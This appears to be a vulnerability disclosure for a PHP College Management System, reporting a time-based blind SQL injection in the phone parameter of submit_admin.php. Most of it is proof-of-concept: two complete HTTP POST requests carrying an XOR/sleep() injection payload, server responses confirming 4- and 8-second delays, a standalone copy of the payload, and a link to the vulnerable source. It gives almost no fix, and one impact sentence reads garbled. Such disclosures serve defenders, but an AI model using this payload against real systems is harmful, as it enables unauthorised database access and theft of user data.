

SQL injection vulnerability exists in phone parameter of submit_admin.php file of College Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

```
Request
Pretty Raw Hex
1 POST /cmsa/submit_admin.php HTTP/1.1
2 Content-Type: application/x-www-form-urlencoded
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.209.1/cmsa
5 Cookie: PHPSESSID=0hmf9amcmumd16gsjs2k06ehe
6 Content-Length: 141
7 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
8 Accept-Encoding: gzip,deflate,br
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
10 Host: 192.168.30.1
11 Connection: Keep-alive
12
13 admin_name=Zmskyuza&email=testing%40example.com&password=u]H[ww6KrA9F.x-F&phone=0'XOR(if(now())=sysdate())%2Csleep(4)%2C0))XOR'Z&usertype=admin

Response
Pretty Raw Hex Render
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Fri, 10 May 2024 14:09:31 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 1001
8
9 Error: INSERT INTO admin(admin_name, password, email, phone,usertype) VALUES ('Zmskyuza','u]H[ww6KrA9F.x-F','testing@example.com','0'XOR(if(now())=sysdate(),sleep(4),0))XOR'Z','admin')<br>
Truncated incorrect INTEGER value: 'Z'<h1>
ADMIN DETAILS
</h1>
<table border='1'>
<tr>
<th>
NAME
</th>
<th>
EMAIL
</th>
<th>
PHONE
</th>
1,191 bytes | 4,003 millis
```

Sleep time is 8s:

```
Request
Pretty Raw Hex
1 POST /cmsa/submit_admin.php HTTP/1.1
2 Content-Type: application/x-www-form-urlencoded
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.209.1/cmsa
5 Cookie: PHPSESSID=0hmf9amcmumd16gsjs2k06ehe
6 Content-Length: 141
7 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
8 Accept-Encoding: gzip,deflate,br
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
10 Host: 192.168.30.1
11 Connection: Keep-alive
12
13 admin_name=Zmskyuza&email=testing%40example.com&password=u]H[ww6KrA9F.x-F&phone=0'XOR(if(now())=sysdate())%2Csleep(8)%2C0))XOR'Z&usertype=admin

Response
Pretty Raw Hex Render
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Fri, 10 May 2024 14:10:29 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 1001
8
9 Error: INSERT INTO admin(admin_name, password, email, phone,usertype) VALUES ('Zmskyuza','u]H[ww6KrA9F.x-F','testing@example.com','0'XOR(if(now())=sysdate(),sleep(8),0))XOR'Z','admin')<br>
Truncated incorrect INTEGER value: 'Z'<h1>
ADMIN DETAILS
</h1>
<table border='1'>
<tr>
<th>
NAME
</th>
<th>
EMAIL
</th>
<th>
PHONE
</th>
1,191 bytes | 8,004 millis
```

Payload:phone=0'XOR(if(now())=sysdate())%2Csleep(8)%2C0))XOR'Z

Source Download:

<https://www.kashipara.com/project/php/12746/college-management-system-php-project-source-code>